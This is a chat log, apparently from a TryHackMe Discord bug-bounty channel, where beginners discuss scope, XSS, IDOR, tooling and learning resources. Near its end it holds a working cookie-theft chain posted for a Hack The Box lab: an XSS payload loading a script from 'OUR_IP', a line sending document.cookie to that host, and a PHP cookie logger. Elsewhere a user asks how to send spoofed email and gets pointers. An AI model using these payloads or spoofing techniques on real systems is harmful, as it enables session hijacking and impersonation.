#bug-bounty

1 messages · Page 2 of 1

stoic geyser
#

Hello everyone, I have scan a target with subdomain tools like amass and fidomains .... i got big list of subdomains the i filter the subdomains list with sort cmd to get unique subdomains
Now i am trying to get live subdomains with httprobe tool however it's taking long time to finish "still running"
I did try httpx but error show up says missing http:// and https:// missing
Any idea how to fix httpx or make httprobe faster ?

stoic geyser
#

i solve the issue, i just remove it and download it from github repo

jolly osprey
#

I think Bug bounty is dead once Ai takes over code review

#

It's just a Random Thought

lavish hollow
#

I don’t think it will, humans will always make mistakes

vocal folio
#

It's already here. And not something wishy-washy like AI.

light pike
#

Hello mates I need help with a JSON csrf vulnerability in change user profile details that can potential lead to attack takeover, it’s been hard coming up with a poc that work

brisk shuttle
#

when a company puts vulnerabilities out of scope but no vulnerability in scope does that mean any vulnerability is accepted?

shrewd ocean
#

No, Anything not listed explicitly as “in-scope” is out of scope.

lavish hollow
shrewd ocean
lavish hollow
lavish hollow
shrewd ocean
# lavish hollow https://help.tryhackme.com/miscellaneous/the-bug-bounty-programme

Well, this confused me:
https://www.bugcrowd.com/blog/understanding-scope-for-higher-payouts/
There's a quote "Anything not listed explicitly as “in-scope” is out of scope." But anyways, doesn't mean It's always true

Bugcrowd

Scope is one of the most important elements in a crowdsourced security program. As described here, the Bugcrowd team works closely with program owners to craft a detailed and clear brief

lavish hollow
#

As I said, check with the company, but a company isn’t going to list every single vulnerability that should be in scope, they’re just going to say ‘xyz is not in scope’

wary forge
#

General question: can anyone point me to a few good resources regarding IDOR. Found a few online but either the info really doesn’t explain much or the concept misses it’s mark. Been trying to get better at it.

lilac spindle
#

Let me get some resources for you

#

These seem pretty good

wary forge
# lilac spindle Let me get some resources for you

Thank you, some of the materials I’ve been reviewing seem to not go deep enough to better get a grasp on how I can better look for opportunities of using IDOR related bugs. So been wracking my brains on how to better approach them from a methodology/process aspect

uneven galeBOT
#

Gave +1 Rep to @lilac spindle

lilac spindle
#

always look for dynamic parameters that are accessing resources

#

IDOR is not necessarily limited to incremental id

wary forge
fallen palm
#

anyone anticipating openai to get on the bug program soon?

wary forge
#

theres rumors that people will be incorporating it.

fast fable
#

Alrightly, so far I'm able to make a very basic request to any (?) URI it seems - where could I go from here, could it lead to XSS or something better?
Currently, I've tried ../../logout which doesn't work because it needs an extra step....but ../../join/group which basically means that if you visit the profile it'll send a request and join the group. The URL is loaded via an <img src tag....I tried using javascript:xyz but it filters :, it dosen't filter ;

fast fable
#

Hmm, seems it proxys the URL through its own domain first unless you enter the site..so site.com/xyz doesn't get proxied but externalsite.com/xyz gets proxied to site.com/proxy/externalsite.com/xyz/

main gate
#

Hey guys quick question if a website doesn't have user sanitation for xss on a password reset would that be a bug as it calls to databases giving the password and storing it and could be used for malicious code ?

lilac spindle
main gate
#

That's what I was thinking but in networking you see the password in plain text in the payload section

lilac spindle
#

of course, u are intercepting the HTTP request

#

the password is not echoed back to the website

main gate
#

Wrong thing

#

The password is giving in plain text to other websites before being stored in the dB as a hash

lilac spindle
#

How are you sure about this?

#

Can you explain it a bit more clearly

main gate
#

I'm trying it's just a bit hard

lilac spindle
#

From my understanding, yes when you type your password its in text inside the HTML form

#

When you also send it, its not sent as a password hash through the HTTP request

#

That's because the hashing should be done server side

main gate
#

When your resetting the password using an xss it is being echoed through the server clients and when we look where it goes before being stored we fine different websites it has been going to in plain text

shrewd ocean
#

how do you know If it's casted to whole clients

main gate
#

This could just me being dumb though

main gate
shrewd ocean
#

But It saves as hash?

main gate
#

No plain text as far as we can see

lilac spindle
#

I seem to not grasp what you're saying

#

Are you saying you are resetting a password, the password is sent to different websites and then saved?

main gate
lilac spindle
#

Okay, if I understand it correctly, you reset password -> password sent to different website -> saved in db

main gate
#

It has no user sanitation and can send different payloads like an open redirect and has password in plain text being sent across the website not encoded or hashed

#

I think I can do a cookie exfiltration

lilac spindle
#

Hmmm, so when you do a password reset, the password persists within the website

main gate
#

It resided into the website going to different sub domains

shrewd ocean
#

more than 1?

main gate
#

It goes to 3 or 4 different sub domains

#

Before stopping

lilac spindle
#

Even if we entertain this idea, it could be a case of self XSS

#

How sure are you other users are able to view the malicious password

main gate
#

65% sure other users will be able to view the malicious code

shrewd ocean
#

I mean, Aren't passwords hidden? So that means nobody can see it?

lilac spindle
#

Do a test with a different account if they're able to view this

shrewd ocean
#

If someone can see your password, That's an another vuln

main gate
#

The passwords are hidden until the xss is executed

lilac spindle
#

Most probably, an admin user can view this but that's a different case

#

I mean, the first goal is if you're able to execute it

#

If its possible, check if other users can see it

main gate
#

I am able to get the xss to execute and give me the password after it has been hidden or encoded or hashed can't remember

#

Others user aren't able to see there passwords so it's probably a self xss right M

#

?

lilac spindle
#

Yep most likely

#

An admin user can PROBABLY see it, not sure how the admin panel would work

shrewd ocean
#

Yup

main gate
#

So I guess not a bug M

#

?

shrewd ocean
#

I don't know if you should report it or not. I'm new to bb as well

lilac spindle
#

Its a bug for sure, just not sure if they'll triage it

main gate
#

Yeah ok I'll just email them and see what they think

lilac spindle
#

BB payments are dependent on impact

#

Big impact -> Big money

main gate
#

Yea

shrewd ocean
#

Also you need to write a good PoC if i remember correctly, right?

main gate
#

Yes

#

Like it might just be the payload on my end only showing local passwords

shrewd ocean
#

If there's a section about user accounts and their passwords in Admin Panel, then Admins can see it

#

Otherwise It's stored in the database hashed

main gate
#

I'm pretty sure I saw other passwords too non hashed

lilac spindle
#

Make sure first

main gate
#

Ok I'll try to replicate

main gate
#

They fixed it

#

Someone else reported it they said

shrewd ocean
#

sad

main gate
#

@lilac spindle @shrewd ocean

#

Yea

#

There's no report yet as it's new and not disclosed

#

So I guess now anyone want to collab of some sort and try to find bugs on a website your choice

lilac spindle
#

At least you found it

shrewd ocean
#

Yeah, I haven't found anything yet lmao

lilac spindle
#

But if they fixed it, how come its still there 👀

shrewd ocean
#

I think I'll change my target, the scope is so small

lilac spindle
#

Where you hunting at

shrewd ocean
#

not that small but I couldn't find anything to look at

lilac spindle
#

aaaaa, its ok, take your time

#

the api can be a juicy space

stray tapir
#

are there ways to tell if an application uses nosql?

main gate
shrewd ocean
main gate
#

Last I checked yeah it stopped allowing me to reset user password as a xss or link or any open redirect therefore adding sanitation

shrewd ocean
#

rip

main gate
shrewd ocean
main gate
#

Ah all good have a good one thanks for your input

unborn flower
#

how long did it take you all to find your first bug in a bounty program? just curious..

proud root
#

Hi all
I am completely new to THM.
Can I ask if there is any room for Bug bounty in THM?

unborn ice
#

Nahamstore is probably one of the rooms closest to bug bounty.

stray tapir
#

smart one lol

karmic lance
#

I have a webapp related question, am I at the right place ?

karmic lance
# lilac spindle shoot

if a developer made sure that all inputs are sanitized completely and that the output is sufficiently encoded, is there any way at all that an XSS could still exist ?

lilac spindle
#

Depends on where the sanitation happens

#

If it's purely client side, then reflected and/or stored XSS is still on the table

karmic lance
#

so the key to COMPLETELY get rid of XSS is to have a server side sanitisation and output encoding ?

lilac spindle
#

Also escaping output

karmic lance
#

are you saying that if there is sufficient encoding on output there is no way to have XSS at all ?

uneven galeBOT
#

Gave +1 Rep to @unborn ice

lilac spindle
#

Ah, I didn't see that part

#

How do you define sufficiently encoded tho

#

From what I understand, its still vulnerable if the sink is being used in a dangerous context

hybrid orchid
# lilac spindle Both sides should have sanitation

Believe it or not, this is actually bad practice.
Sanitising on input means you often end up with multiple layers of encoding (e.g. double url / HTML entity encoding, etc), and makes it much more likely that you mangle legitimate user input. For example, in an SQL sanitisation context -- what happens if a user password includes an apostrophe? Perfectly legitimate character to include, but as a worst case scenario you would be silently stripping that out (assuming you sanitised the raw input before hashing) and resulting in the "wrong" password being stored.

Best practice would be to store the data raw (within reason) and sanitise on output.

#

A lot of templating engines (e.g. React client side, Jinja2 server side) virtually eradicate HTML injection vulns by default, which makes that practice a lot easier to adhere to.

#

TL;DR: don't try to sanitise stuff with home grown solutions. Chances are your renderer has a better tried-and-tested solution built in.

analog glen
lilac spindle
#

Like expect what type of input the app should receive?

hybrid orchid
# lilac spindle I get that, what do you mean by within reason?

"Within reason" was just to qualify that I did not mean just store things without validation.

e.g. if an input should only store a whole number, that should still be validated -- not least because it'll throw an error in the DB. Same thing for something like space restrictions on a comments field.

So basically: if a user input meets the logical requirements of the field, then that is what should be stored (unfiltered, but in a safe manner -- e.g. parameterised queries). It should be sanitised on output, which is handled automatically by many templating engines.

lilac spindle
#

Yeah I get that, many devs I see still stick to using their own type of validations

hybrid orchid
#

Custom validations sure, if needed. Those are often quite niche, so as Juun said, if you gotta write your own validators, just do it and make sure it's server side.
Sanitisation filters, on the other hand, try to use the standard ones. Those are rigorously tested, and if anyone finds a bypass it will be assigned a CVE and fixed quickly.

mild hill
#

@worthy folio also the same

analog glen
hybrid orchid
#

True indeed!

worthy folio
#

ORM good, direct queries bad

lilac spindle
#

what is the vulnerability called when the server issues a 302 redirect but leaks the html source code of the requested resource

brave flower
#

I think I've heard it called execute after read

#

But it's one of those things a lot of people don't seem to think about or notice

coral sedge
peak forge
#

hey! I'm new here.

unborn ice
#

Hi New here, I'm Scrubz.

spice lily
#

hello

tacit night
#

Hi guys, want to ask, is http request smuggling still around being find on bounty? Does learning it gives higher chances of finding bugs?

#

Or does it rarely happen and just focus on owasp top 10 if targeting bounty?

spice lily
#

owasp top 10 doesnt really mean anything

#

learn as much as you can, expand your attack vectors, that will give you more chance of finding bugs, if you have more bugs to look for

#

so yeah, its still worth learning

tacit night
#

What is the most common vulnerabilities found in bug bounty in ur opinion?

fast fable
#

OWASP top 10

#

Broken access control, XSS and IDOR personally

frank rune
#

Is this anything valuable

cyan slate
fast fable
#

Not to me no but please do a better job at censoring it

#

You forgot to account for the title bar at the top

#

And using a red line does not censor the key

frank rune
frank rune
uneven galeBOT
#

Gave +1 Rep to @fast fable

frank rune
#

I think sparrow is some kind of api.
And it's key is leaked

cyan slate
#

well, maybe look up surveysparrow

fallen palm
#

been given an assignment to perform the five stages of pen testing on a company on bug bounty and to find a vulnerability/ bug

#

any tips on bug hunting/ relevant thm rooms to do? have no clue where to start

lilac spindle
#

illegal to boot also

vocal folio
lilac spindle
#

to do the 5 stages of pentesting?

#

i havent seen a bbp allow someone to have persistence

vocal folio
lilac spindle
#

4th step is usually persistence

vocal folio
lilac spindle
#

The person can speak for themselves regarding that

fast fable
#

Perhaps, @fallen palm were they specific in what stages they meant

inner jackal
#

my target from h1: *.example.com
rDNS record from nmap scan: xxx.amazonaws.com

  • Can I test that xxx.amazonaws.com site? Aren't they same?
  • I can not find any clear indication from the targets h1 policy.
shrewd ocean
#

what are the out of scope targets and attack methods?

lavish hollow
brisk shuttle
#

If the website gives me an application error is that a sign of a bug?

lavish hollow
fallen palm
fallen palm
lilac spindle
#

Yep, gaining and maintaining access is not allowed most of the time.

#

Just stick to a PoC which showcases that the exploit is possible

#

Kind of like whoami, a DNS lookup, reading /etc/passwd, etc.

fallen palm
#

alright cool thanks

brisk shuttle
#

if you find a windows active directory panel is that something that should be reported?

lilac spindle
#

Yeah, its an exposed service that shouldn't be exposed

brisk shuttle
#

what does information disclosure mean in bug bounty

unborn ice
lilac spindle
#

portswigger web security academy

#

oooo i also recommend the htb bug bounty path

fast fable
vale mirage
quick berry
#

I'm always seeing the bug type "Via localStorage/sessionStorage" being found on BugCrowd. And I understand it has to do with a sensitive token being stored in the local storage or session storage of the browser. But at what point does this constitute a bug, and how is it found? I can barely find any information on it online.

lilac spindle
#

it becomes a bug depending on how the data in it is used. in Chromium-based browsers, i think its stored in the Application tab in DevTools

#

i mostly find those by reading through javascript files

quick berry
#

@lilac spindle Thanks for the reply. I can see how that would constitute a bug for sure. What about the storing of a sensitive token, i've seen devs advise against that, but that's not inherently a vulnerability right?

uneven galeBOT
#

Gave +1 Rep to @lilac spindle

vocal folio
quick berry
#

I wouldn't wanna submit a vulnerability where I'm like, "hey, you're storing this token in localStorage, that's not good" and them mark it not applicable or P5

vocal folio
#

I mean I'd be inclined to agree yeah

quick berry
#

for sure, thank you @vocal folio

uneven galeBOT
#

Gave +1 Rep to @vocal folio

normal crescent
#

unlike cookies, local storage doesn't really feature any access controls except from origin

quick berry
#

true

hybrid orchid
lilac spindle
vocal folio
indigo bloom
#

When you wanna use hydra for a brute force attack you had to give a password.txt but what's is the path or where can I put my file ?

fast fable
#

🤨

indigo bloom
vocal folio
indigo bloom
#

I think it’s logic

vocal folio
#

What are you trying to brute force?

indigo bloom
vocal folio
indigo bloom
#

i's the same things

vocal folio
#

Please go to your teacher or training provider for help with their content.

indigo bloom
#

ok.

waxen escarp
#

hello everyone
so im trying to find a vulnerability in mySQL 8.0.18, but each one i find it mentions "MySQL Server product of Oracle MySQL ", can anyone explain that to me, or whether it would be considered correct? thanks alot

vocal folio
#

Stored XSS

weak trail
#

start

fast fable
#

CSRF

little meteor
#

a scarab...... shadow kept it in a tank for about a 1 year before it died

autumn kestrel
#

that's.. something

little meteor
#

probably the wrong kinda bug now.... should have checked the channel name

quick berry
#

hey y'all this seems like the most competent BB discord i've been in so I figure i'd see if anyone wants to collab. I'd consider myself intermediate. I've got 165 points on bugcrowd, and im good with IDORS, XSS, and oAuth vulnerabilities. Hoping to collab with someone of the same skill level. it doesn't have to be bugcrowd, it could be hackerone also

fallen palm
#

for gobuster does anyone know if 1x request = 1x thread? So --threads 300 would mean 300 requests per second?

#

If not how would I best limit my requests per second? Like would it be a combination of --timeout %ms and --threads being lower than default 10?

fallen palm
#

ended up keeping default thread of 10 since it didn't go over the limit of requests per second

quick berry
#

threads are concurrent requests @fallen palm

#

if you have it on 2 threads, that means you're allowing it to send 2 simultaneous requests

#

if you set it to 300 threads, it will allow 300 simultaneous requests, permitting that your machine/internet can handle that

#

it has nothing to do with seconds

fallen palm
uneven galeBOT
#

Gave +1 Rep to @quick berry

hardy escarp
#

Hi everybody ☺️

brisk shuttle
#

if a xss payload is showing in the source code does that mean it’s a reflected xss?

fallen palm
#

depends if it's stored or not

#

reflected xss is non-persistent (not stored on the actual web server itself)

#

compare an xss payload in a search bar vs a comment section

#

both show up in the source code but only one is stored in the web server or application

fallen palm
#

I found this info here on DOM XSS (reflected vs storeed) for instance because DOM XSS can appear in the source code

#

I have a question, if a domain is in the program scope of a bounty program am I okay to port scan that server?

lilac spindle
#

you're likely just scanning the WAF or CDN

#

which is useless

quick portal
#

Hi

brisk shuttle
#

alright thanks guys coolguy

fallen palm
junior prairie
#

hi guys chai pilo

tacit inlet
#

hi

brisk shuttle
#

where should someone insert xss payloads? In search bars??

normal crescent
#

if it's just reflected on the source code, that may just be intended functionality

lilac spindle
#

You need to understand how the vulnerability arises, how it pops up in modern day web applications, and also where you can most likely find them

#

You also need to understand how it should be patched so you can give suggestions to them

fast fable
lilac spindle
#

It's not required

fallen palm
#

Incase you find SQL vulnerability

peak forge
#

How to set up gitlab for debugging? I have started hunting on gitlab. so, If anyone can help please reply.

tough coral
#

hi, how to start learning about bug bounty?

fierce cedar
uneven sage
#

I have a in-game crash that I can repeat. Resource exhaustion or unprocessed error handling.

jolly ledgeBOT
#

Done!

lilac spindle
brisk shuttle
#

what’s a false positive?

unborn ice
#

A false positive is something that has been incorrectly setting off an alarm or a rule set.

#

For example.

Someone incorrect entering their password will set off a "brute force attafk" alarm.

brisk shuttle
#

thx coolguy

#

guys if I want to put a header for example X-Forwarded-For: do I put this in anywhere in the request in burpsuite?

shrewd ocean
#

example of request headers

brisk shuttle
shrewd ocean
thorn tundra
#

hi guys
how to start bug bounty?

thorn tundra
#

👌👌

patent glacier
#

is there a way to have the features from instagram android on PC

#

I want to see a request on burp and I dont know how to do on PC, because the "notes" feature doesnt exist

lavish hollow
#

Does instagram have a bug bounty program? @patent glacier

fallen palm
#

Thanks THM (muiri's room specifically), just did my first SQL Injection through Burp

#

time to apply this on real websites thm coolguy

#

I've been sleepin on Burp

hybrid orchid
#

I.e. burp works as well on android as it does on Windows. Weirdness with CA cert trusts and cert pinning aside

patent glacier
crude swift
#

hey anyone trying to configure the rengine tool?

brisk shuttle
#

can someone tell me what are some good books to read for bug bounty

#

Because I’m always spending a lot of time on a website and I can never find anything if someone can tell me some tips to I would really appreciate it

fast fable
fallen palm
#

Hi has anyone tested an application form on a bug bounty program before? I want to test an application form which also asks the applicant to upload a file. But I'm not sure if I should because I'll be spamming them I guess... any advice?

lilac spindle
#

Check the scope

upper pawn
#

Hi guys, I want to get the @zealous radishcrowdninja.com id for a bug bounty. But I don't know how can I get this id.

fallen palm
#

What's the FQDN for this bug bounty?

hybrid meadow
#

What are some good YouTube channels to follow for BugBounty?

tiny nacelle
#

i found a potential subdomain takeover and checking EdOverflow/can-i-take-over-xyz it seems likely to be vulnerable and from nuclei it says vulnerable but the thing is i need to spend $40 to takeover it and the program doesnt offer any monetary reward is it good to go for it ?

tiny nacelle
shadow matrix
tiny nacelle
vestal wharf
shadow matrix
fast fable
#

To prove subdomain takeover

#

Although I'm sure you could speak to them and show that in theory you could take it over

tiny nacelle
#

i tried that once but it was rejected

shadow matrix
tardy berry
#

Guys, can someone suggest a good alternative to https://anonymousemail.me/
This was earlier free to send spoofed mails ig but now it's paid
Anyone suggest a free alternative with functionality to send mails by changing sender address

tardy berry
hybrid orchid
tardy berry
hybrid orchid
#

Eh, fair.
Sendmail is a linux CLI utility

#

For this kinda thing you would probably be better with a python script though

#

smtplib

tardy berry
#

Okayy, thanks mate

hybrid orchid
#

Np

warm cairn
#

hi everyone

#

i have been confused for months , i like verymuch penetration testing especially system penetration testing and network but In egypt unfortunatelly , it is very rare to find freelancing job as a freelancing so i decided to dedicate myself to be parttime bug hunter so any thoughts please for road map of being bug hunter ?

lilac spindle
#

Learn web application security from Portswigger Academy

shadow matrix
lilac spindle
#

Read the OWASP Testing Guide

#

Read about how these vulnerabilities are patched

warm cairn
#

ok thanks guys for your help but am i suppose to be web application programmer ??> cause i see alot of programming code ?>

lilac spindle
#

It helps a lot

fallen palm
#

anyone guide me please that how can i get practice for bug bounty on platform like bugcroud and hackerone ??

shrewd ocean
#

read this 🙂

dusk salmon
#

Hello
I'm writing my first bug bounty report
And I found a way to unsubscribe everyone from the mailing list
Under what catogary does this fall so I can tell the severity of this vulnerability
Is it broken access control (BAC) or authentication bypass
It was a JWT in a url

shadow matrix
#

I think BAC is most accurate

dusk salmon
#

Thanks

fallen palm
#

how to bypass login page ?

unborn ice
fallen palm
#

sql injection, xss, session hijacking, brute forcing, etc

#

just don't go using it on places you shouldn't

#

there are companies that have programs so hackers can try something on their products and report it (maybe receiving some money back as well)

#

ok

fallen palm
fallen palm
fallen palm
#

status "405"
title "Method Not Allowed"
detail "HTTP method is not allowed"

#

is there any way to bypass it ?

fallen palm
#

while testing a web

unborn ice
#

I was thinking that's the response you get from trying to access the attackbox but I'm sure that's 504

fallen palm
#

no

#

405

#

only showing

#

HTTP method is not allowed

vocal folio
vestal wharf
harsh dagger
#

HEY EVERYONE I FOUND A BUG BOUNTY NOW WHAT DO I DO

#

I THINK ITS A BIG DEAL

hasty adder
hasty jolt
#

Hey guys
I have a question .... i started my hacking journey years ago just for fun and as a hoppy but a year ago i intended to become a professional bug bounty hunter in webhacking
I know linux , learned how to work on a lot of tools of linux
And learned a lot of networking
Learned html css and javascript and still learning about html css and JS

My question is how much
html css and javascript needed to start at web hacking bug bounty is there anyone that can help with this because i really don't want to learn things i don't need as a beginner bug bounty hunter like next.js and react.js etc if i don't need them in the first place .
Anyone who helps me with this ill appreciate it a lot

vocal folio
# hasty jolt Hey guys I have a question .... i started my hacking journey years ago just for...

I think there's a lot to realise about bounth hunting here.
Firstly, it's not stable income. It's not feasible, nor is it meant to be, to use it as a main job unless you're in a country with a very low cost of living.
Secondly, with practically all hacking it's about how well you understand systems and how they work and fit together. Any learning that you do helps with that goal.

north mantle
hasty jolt
tardy berry
#

What sort of vulnerability is that if i can access other people's document using URL which I'm not meant to access
Eg : url/1
url/2

#

What's broken access control ? How's it different from IDOR

#

@lapis horizon

#

Thanks ❣️ @lapis horizon

dawn aspen
weak parrot
#

hii guys

#

can anyone help me to solve this error

#

when i type httpx it is showing the same error

#

but to check, it is install correctly or not , i did httpx --help

#

so all the commands are visible to me

#

help me someone

lilac spindle
#

You need to give it a URL

lilac spindle
brisk shuttle
#

what's httpx?

hybrid orchid
shrewd ocean
#
  1. actually.
brisk shuttle
#

can burpsuite be used with google or does it have to be firefox?

unborn ice
#

You can use it with google.

#

Just add the foxyproxy extentension and then set the port etc.

brisk shuttle
#

ok

vocal folio
unborn ice
#

^ and that.

brisk shuttle
shrewd ocean
brisk shuttle
#

I just finished setting burpsuite but every time I want to intercept a website it keeps telling me that my connection might not be safe what should I do?

brisk shuttle
hybrid orchid
#

Specifically in this case you will want to look into how web requests are secured, TLS, how browsers respond to invalid certificates, etc.

#

There's no point in trying to hack stuff if you don't understand the fundamentals behind how they work. You're just going to frustrate yourself at best, or unintentionally cause damage to something (and thus cause some poor sap a huge headache) due to lack of comprehension of what you're doing at worst.

#

Neither of those outcomes are desirable.

blazing patrol
hybrid orchid
# blazing patrol I've been starting in information security for a short time (one month) do you h...

For sure 🙂
First up, for "not forgetting what you learned after a while" take lots of notes. Your notebook (regardless of what format you use) is going to be your most valuable possession in this industry. You should never solve a problem or learn about a topic twice -- note down everything in a nice indexable format and you'll go a lot further a lot quicker.

In terms of learning about web stuff, I would honestly recommend setting up a lab, if you can. VMware / VirtualBox with a linux virtual machine inside it. Install Apache2, and learn about how a traditional webserver serves content. Build a simple website with HTML, CSS, raw JavaScript, and PHP. Google whenever you have a question. The MDN docs (Mozilla) are an absolute goldmine of information.
From there learn about some more modern tech stacks -- software defined routing, for example, in NodeJS (Express) webservers, Python Flask / Django, etc. Expand out from there.

#

Cryptography is a tricky thing to learn to begin with, but once you understand it, you won't have to worry about it changing. It's the same regardless of how the webapp is built. Follow some tutorials for implementing self-signed TLS certificates using OpenSSL on your Apache webserver. Understand what you're looking at. Read about the types of warning you might encounter. One of them (the same one that K hit yesterday) will pop up immediately with a self-signed certificate. Read into what it means and how it can be avoided. Basically aim to have a working understanding of what can go wrong with TLS and what to look out for.

#

Bonus points if you also set up a VPS (virtual private server) on something like AWS or (the easier and cheaper option) Digital Ocean then use Let's Encrypt (hint: certbot) to request a certificate with a proper chain of trust.

#

Then mess around with Nginx, or Caddy (or hell, even Apache if you really must) for something like a reverse proxy and/or load balancer in front of a webapp written in Python/Node/Golang/whatever, A) to get a better idea of how things are more likely to work these days, and B) to get experience setting up different webservers so you understand how they work and again, what's likely to go wrong

#

The important thing to remember with any kind of hacking is that all we are ever really doing is applying the same skills as a sysadmin / developer / cloud engineer / whatever in a very specialist way.
"Hacking" as a discipline is just an extreme focus on development and administration from the mindset of trying to test and break things. If you only learn how to attack but never learn how things actually work, then you'll never be more than mediocre. The more you understand about how the systems you're looking at function, the better you will be.

blazing patrol
uneven galeBOT
#

Gave +1 Rep to @hybrid orchid

hybrid orchid
#

Np 😄

tardy berry
#

Guys, i have just started exploring bug bounty
I wanted to know why missing SPF records isn't considered as a valid bug ?
I feel it's a actual vulnerability as any attacker can spoof and impersonate the company thru it's email and defame them, can also affect the reputation (similar to how people brought verified badge on twitter fake accounts and destroyed few companies stocks value)
Reporting this to the company, they don't even recognise it as a bug and say it's intentional 😂

I really wanna know the reason why this vuln is so underrated.

uneven galeBOT
#

Gave +1 Rep to @hybrid orchid

fierce cedar
tardy berry
fierce cedar
tardy berry
#

Exactly... even i wanna know the reason why they are ignoring it
Plis some pro hunter here pour some light on this

fast fable
#

We can't really speak on behalf of the company and their specific reasons

tardy berry
#

No, i mean it's not just one company... Almost every company has stopped recognising it as a vuln ig
Any particular reason

swift grotto
tidal charm
fallen palm
rigid tundra
#

Does TryHAckMe have a bug bounty program

little meteor
rigid tundra
rigid tundra
little meteor
#

oh you wanna learn how to do bug bounty??? would point you towards #web-fundamentals-path then as that explains the majority of bug bounties people get on the web

uneven galeBOT
#

Gave +1 Rep to @little meteor

little meteor
#

no problem

rigid tundra
# little meteor no problem

One more question I am almost done with the Jr. Penetration Tester program would doing the Comptia Pentest+ help me in becoming a Pentester

little meteor
rigid tundra
shadow matrix
uneven galeBOT
#

Gave +1 Rep to @shadow matrix

lilac spindle
#

No you cannot hack any wordpress site

#

@worthy folio , the person also posted on multiple channels of the same question

#

@analog glen

analog glen
#

What are you trying to do with the wordpress? which site?

craggy garden
#

account made same day it joined this discord
asks about how to hack wordpress

hmmmmm

analog glen
#

Rule of thumb is, if you don't have a written and formalized contract to test a site, don't touch it. If you can, lab it up at home.

#

Carefully read all your TOS, EULA, and other agreements with your cloud provider before doing anything.

lilac spindle
#

@analog glen , @worthy folio

tardy berry
lilac spindle
#

Do due diligence whenever doing a security test. Legalities, scope, awareness, etc. should be followed

fallen palm
#

Adding x-hackerone header in burp: Proxy -> Options -> Match & Replace

thick sage
#

hello everyone, I would like to ask about threat hunting

#

currently I am trying to do an external threat hunts, where I don't have any access to the target environments.
I would like to know, how can I find any kind of leaked information for instance, gitlab projects.
do you guys have any suggestions on how to start, what to know to help me through this process?

thank you 🙂 (I am a beginner)

maiden jungle
#

Hey guys, i alreday asked the question in general but go no answer:
Does McDonald's have a security email, where you can report a bug?

#

or do they have a bug bounty

unborn ice
#

I'm sure this is very easyy to search on Google.

maiden jungle
fast fable
#

Doesn't seem to have one

#

So I wouldn't do any poking around

blazing blaze
#

Chick-fil-A doesn't seem to have any either

#

maybe its a trend

fast fable
#

@lavish hollow

lavish hollow
#

@paper ridge This is not a place to self promote

paper ridge
lavish hollow
#

Not here, you need to interact with the community before promoting your content

lean pewter
#

if a download link for sm user's private file on a website can be used by anyone without authentication is that a valid bug

golden crater
#

if it's only one user then it's there for a purpose

lean pewter
golden crater
#

But if the enterprise really care about it being successful then saving customers privacy is a must

#

im not confident with what i say so i recommend u to ask more knowledgeable ppl

shadow matrix
civic jacinth
#

anyone intrested in collab??

twilit ginkgo
#

Getting access to private files is not normal behaviour

fast fable
#

It's like doing Self-XSS

#

How else would you be able to download the image 😆

shadow matrix
junior palm
#

How to get into advanced bug bounty?

#

I have completed one course from ZTM and doing Tryhackme me currently.

#

But i still don't have a clear picture about bug bounty or how does one find bugs

#

Any recommendations?

shadow matrix
#

Bug bounty is basically just web penetration testing, the OWASP foundation and port swigger academy have great stuff about web pt, and the OWASP evan has a methodology you can learn, which I think is what you are talking about.

primal peak
#

Hi everyone, i'm totally new to bounty hunting! finished a jr pentest course on THM not long ago.

Just wondering what recommendations you might have for a bounty hunting environement? Did you use your existing computer, run an environment in a VM, get a separate device etc...
I'm thinking of running a VM with kali linux to start off.

fast fable
#

I just used my existing computer

primal peak
fast fable
#

Windows

#

no vm

#

just burp + windows

weary lance
#

whats the point of setting up a bug bounty program if you are gonna have cloudflare protection on your site, it bugs me so much unless theres a bypass that im not aware of

fast fable
#

wat

weary lance
#

"checking if your connection is secure" 🤓 and then getting stuck in a loading screen for a infinite time 😂

fast fable
#

Cloudflare is mostly there to protect against botnets & ddos type attacks

#

It's not going to save you from a logical error on your site

weary lance
#

no ik

#

but it stops my burpsuite in its tracks whenever I do anything

fast fable
#

Are you using the burp browser?

#

Have you tried loading onto the site

#

Then turning on your proxy

#

That's what fixes it for me

weary lance
#

yeah usually its through the burp browser

#

oh actually? ill try that then

fast fable
#

yes for some reason it doesn't like the traffic being proxied

#

But if you load into the site normally, (which then gives you the cf cookie), it should stop complaining

weary lance
#

yeah makes sense

#

doesnt burp suite have a option to import cookies?

#

or would that not make a difference

fast fable
#

That could work?

#

cf-token cookie

#

Try it and see!

fast fable
#

We can't help you with CTFs, sorry.

vocal folio
#

@fringe wadi Please do not ask for help with active CTFs

lavish hollow
#

Specify the item in the keychain

alpine halo
#

I want to do a test scan on openvas but I couldn't find where to do it. Could you help?

alpine halo
#

why not

lilac spindle
#

Seems fair, is this the IP for that website?

alpine halo
#

I hope 🙂

lavish hollow
#

I was being facetious

languid glen
#

Anyone has heroku paid account?

fast fable
#

Why?

outer roost
#

its a minio console of the site

analog glen
#

What bug bounty program has this in scope?

outer roost
#

ya they have if i am able to successfully able to gain access into it

analog glen
#

That's not how scope works

outer roost
#

i did some research u are right i was trying to exploit it. but leave it but i got something new to know

little meteor
#

that would go in #room-bugs... this channel is mostly for the action of doing bug bounty on other sites and discussions about that and sharing learning material...
anyways this is probably a known bug and hard to fix as the shodan website and scans are always updating so hence there are pictures in the room to refer to

tropic patio
#

Hi ! Can anyone suggest which THM rooms i would complete to get the introduction for bugbounty ? Thanks in advance!

lilac spindle
#

The Web Fundamentals path is good

hidden turtle
#

Hi Guys

#

Is there any alternative for kali bare-metal because i cant able to find in the website

unborn ice
#

Why Bare-metal?

fast fable
#

so today I learnt

#

in javascript, if ', ' or " are blocked you can use /test/.source to craft a string!

#

super neat

cyan slate
fast fable
cyan slate
#

Nice

quartz aspen
fast fable
fallen palm
#

i am doing the XSS skills assesment on hack the box but cant find anyone to help so ive come here anyone willing to drop a hint?

unborn ice
fallen palm
#

i did

#

no reponse

fierce cedar
#

Seems a bit of a stretch though asking on the THM discord don't you think?

#

Have you tried looking online for hints, in the form of writeups or something?

fallen palm
#

yep theres not many writeups so im currently asking chatgpt

fallen palm
uneven galeBOT
#

Gave +1 Rep to @paper ridge

lilac spindle
fallen palm
lilac spindle
#

probs an error on your payload

fallen palm
# lilac spindle probs an error on your payload

XSS payload - javascript:eval('var a=document.createElement('script');a.src='http://OUR_IP';document.body.appendChild(a)')

script.js - new Image().src='http://OUR_IP/index.php?c='+document.cookie; or document.location='http://OUR_IP/index.php?c='+document.cookie;

index.php - <?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
